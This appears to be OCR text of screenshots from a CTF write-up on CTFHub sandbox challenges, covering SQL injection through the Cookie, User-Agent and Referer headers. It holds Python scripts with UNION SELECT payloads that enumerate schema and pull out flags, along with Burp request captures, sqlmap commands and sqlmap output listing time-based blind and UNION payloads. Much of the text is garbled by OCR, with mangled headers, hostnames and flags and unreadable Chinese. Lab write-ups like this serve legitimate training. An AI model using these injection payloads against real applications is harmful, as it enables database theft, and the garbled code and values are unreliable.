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Request
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GET / HTTE/L.1
Host: challenge-4982275chbhh3ifTal.sandbox.ctfthub. com: 10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xe4; rv:91.0) Gecko/Z0100101
Firefox/91.0
4 Accept:
text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */*;q=0.8
5 Accept-Language: zh-CN, zh:;q=0.8, 2h-TW:;=0.7, 2h-HE; q=0.5,en-U3;gq=0.3,en;g=0.2
& hoecept-Encoding: gzip, deflate
Connections ase
2 Cookie: hint=id%EB%EE%93%ES%85% A5 1% EBSAFSO5%EBSAFSO5%EFSECSOF
S Upgrads ure-Recquests: 1
10 Cache-Control: max-age=0
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import requests

# 1d = "1 and 1=2 union select database(), 1" #/&WE

# 1d = "1 and 1=2 union select group_concat(table _name), 1 from information_schema.tables where table schema =
sqli'" #/EF
# 1d = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name =

fwtzeovuem'" #IEFE

id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag

burp@_url = "http://challenge-498ee75cbbb367al.sandbox.ctfhub.com:10800/"

burp@_cookies "id": id, "hint": "id%E8%BE%93%ES5%85%A51%E8%AF%I5%EBHAF%ISKEFHBCHIF"

burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0"
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-

CN,zh;gq=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "cl

ose", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"

print(requests.get(burp@_url, headers=burp@_headers, cookies=burp@_cookies).text

4 root@wuuconix—ubuntu cookie.py

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub %8853 | Cookiei A </title>
<link rel="stylesheet" href="static/bootstrap.min.css">
</script>
tatic/popper.min. js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">

M 7. i Cookielll</p>
om news where id=1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem</code></br>ID: ctfhub{375dae2b659Ua5elfIUg9852}</br>Data: 1

</body>
</html>
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python3 sqlmap.py -u "http://challenge-498ee75cbbb367al.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D s
gli -T fwtzeovuem -C rzahbuabdf --dump

] [INFO] the back-end DBMS is MySQL
web application technology: OpenResty 1.19.3.2, PHP 7.3.14
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
L 1L ] fetching entries of column(s) 'rzahbuabdf' for table 'fwtzeovuem' in database 'sgli'
do you mant to URL encode cookie values (implementation specific)? [Y/n] Y
L ] [WARNING] reflective value(s) found and filtering out
Database: sgli

Table: fwtzeovuem
[1 entry]
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import requests

burp@_url = "http://challenge-clafe7c2c2a76623.sandbox.ctfhub.com:10800/"
# UA = "1 and 1=2 union select 1, database()"

# UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sq
ti""

# UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cq
omjcukck""

UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck"

burp@_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*

/*;9=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding"
"gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"

print(requests.get(burp@_url, headers=burp@_headers).text

4 root@wuuconix—ubuntu

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub Hrge | UNEA</title>
<link rel="stylesheet" href="static/bootstrap.min.css">
static/jquery.min.js"></script>
static/popper.min.js"></script>
<script sre="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div clas jumbotron text—center">

EUser—Agent, ididiB</p>
<code>select * from news where id=1 and 1=2 union select 1, ycrtshvcir from cgomjcukck</code></br>ID: 1</br>Data: ctfhub{b9f1787adb6all2cOed56710} </div>
</div>
</body>
</html>

Request Response
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1 GET / HTTR/Ll.L
Z Host: challenge-clafeTeclcela7E623 . sandbox.ctfhub. com: L0E00
%2 User-Agent: 1 and 1=2 union select 1, yertshveir from

-~
c:qomjc:ukc:kl UA\
Accept: f

text/html, application/xhtml+xml, application/xml; q=0.9, image/weh
p,*/*:q=0.8 AR EUser-Agent, jidie
5 Accept-Language:

zh—-CH, zh; q=0.8, 2h-TW;g=0.7, zh-HE; gq=0.5,en-US; gq=0.3,en;gq=0.2

& Accept-Encoding: gzip, deflate * from news where id=1 and 1=2 union se
7 Connection: close JEP T C S P .
- YCrtshvolr trom CqomjCukck
Z Upgrade-Insecure-Requests: 1 o -
ID: 1

. Data: ctfhub{b9f1707adb6a142c0ed56710}
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python3 sqlmap.py -u "http://challenge-clafe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3

HEWRE Tleveln3, HAhtt2#A%L. 4R— ERMRRIUARSIEK, TEAN.

INFO] testing connection to the target URL

checking if the target is protected by some kind of WAF/IPS

testing if the target URL content is stable

target URL content is stable

testing if parameter 'User—-Agent' is dynamic

] parameter 'User—Agent' appears to be dynamic

[WARNING] heuristic (basic) test shows that parameter 'User—Agent' might not be injectable

[INFO] heuristic (XS55) test shows that parameter 'User—Agent' might be vulnerable to cross—site scripting (XSS5) attacks
L ] testing for SQL injection on parameter 'User-Agent’

[
[ 1
[ 1
[ 1
[ ]
[




L 1L ] target URL appears to be UNION injectable with 2 columns

[ ] [INFO] parameter 'User—Agent' is 'Generic UNION query (random number) — 1 to 20 columns' injectable
parameter 'User—Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1180 HTTP(s) requests:
Parameter: User—Agent (User-Agent)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: (CASE WHEN (2716=2716) THEN SLEEP(5) ELSE 2716 END)

Type: UNION query
Title: Generic UNION guery (random number) - 2 columns
Payload: —-5685 UNION ALL SELECT CONCAT(®x7178766271,8x5158716756U575745a6b7a726f69717a617671736678626cU37558671UeT672Ud71584UU5816561868 , 0x7178706b71) , 5729— —
[ ] [INFO] the back—end DBMS is MySQL
web application technology: OpenResty 1.19.3.2, PHP 7.3.14
back-end DBMS: MySQL >= 5.8.12 (MariaDB fork)
[ ] [WARNING] HTTP error codes detected during run:
502 (Bad Gateway) — 2 times
[ 10 ] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge—-clafe7c2c2a76623.sandbox.ctfhub.com'

ERAEUVARNSHOX BE WM ATREKTEAN, —FREREEE, —MRunionBk&IEAN, &R T payload.
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python3 sqlmap.py -u "http://challenge-clafe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcuk
ck --columns

L ] [INFO] the back—end DBMS is MySQL

web application technology: PHP 7.3.14, OpenResty 1.19.3.2

back—end DBMS: MySQL >= 5.8.12 (MariaDB fork)

L 1L ] fetching entries of column(s) 'yertshvecir' for table 'cqomjcukck' in database 'sqgli'
L ] [WARNING] reflective value(s) found and filtering out

Database: sqli

Table: cgomjcukck
[1 entry]
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import requests

burp@_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/"

# referer = "1 and 1=2 union select 1, database()"

# referer = "1 and 1=2 union select 1, group concat(table _name) from information_schema.tables where table_schem
a = 'sqli'"

# referer = "1 and 1=2 union select 1, group concat(column_name) from information_schema.columns where table_nam
e = 'sngrgwaxpk'"

referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk"

burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0"

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-
CN,zh;gq=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "cl

ose "Upgrade-Insecure-Requests": "1", "Referer": referer

print(requests.get(burp@_url, headers=burp@_headers).text



4 root@wuuconix—ubuntu referer.py

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UT|
<title>CTFHub & | Referif A </title>
stylesheet” href="static/bootstrap.min.css">
static/jquery.min.js"></script>
static/popper.min.js"></script>
static/bootstrap.min.js"></script>

<div class="container">
<div class="jumbotron text-center">
<hl>Referi+ A\ </hl>
<p>EfErefererfm A ID</p>
<code>select * from news where id=1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk</code></br>ID: l</br>Data: ctfhub{889696cd7e63UfabcaT5c2fe} </div>
</div>
</body>
</html>

m Cance < v Target: http://challenge
a-= =

Request Response
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1 GET / HTTP/L.L
Z Host: challenge-49bfadcdcfc5744d. sandbox.ctfhub, com: 10800

3 User-Agent: Mozilla/5.0 (Windows NT 10.0: Wing4:; x&4; rv:91.0) Gecko/Z0L00L0L -
Firefox/91.0 R f ~
4 Accept: e e r!

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */ *;q=0.8
5 Acecept-Language: zh-CN, zh;qg=0.8, zh-TW:q=0.7, zh-H¥; q=0.5,en-US;q=0.3 ,en;gq=0.2 ﬁ%{fre&werﬁﬁ)\lD
¢ Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Regquests: 1
RBeferer: 1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk

and 1=2 union se

ID: 1
Data: ctthub{809696cd7e634falca7 5c2fe}

XIE SR sqimap i A KIFE T .

python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3

L 1L ] checking if the injection point on Referer parameter 'Referer' is a false positive
parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2314 HTTP(s) requests:

Parameter: Referer (Referer)
Type: time-based blind
Title: MySQL >= 5.08.12 time-based blind - Parameter replace
Payload: (CASE WHEN (8489=8u89) THEN SLEEP(S5) ELSE 8489 END)

- 4| UMDEX 4] dalabDa
] [WARNING] time-based comparison requires larger statistical model, please wait
o you want sqlmap to try to optimize value(s) for DBMS delay responses (option '—time-sec')? [Y/n] Y
] [WARNING] it is wvery important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
] [WARNING] detected HTTP code '200' in validation phase is differing from expected '502'
110 ] invalid character detected. retrying..
] [WARNING] increasing time delay to 6 seconds
1 ] invalid character detected. retrying..
] [WARNING] increasing time delay to 7 seconds
110 ] invalid character detected. retrying..
] [WARNING] increasing time delay to 8 seconds
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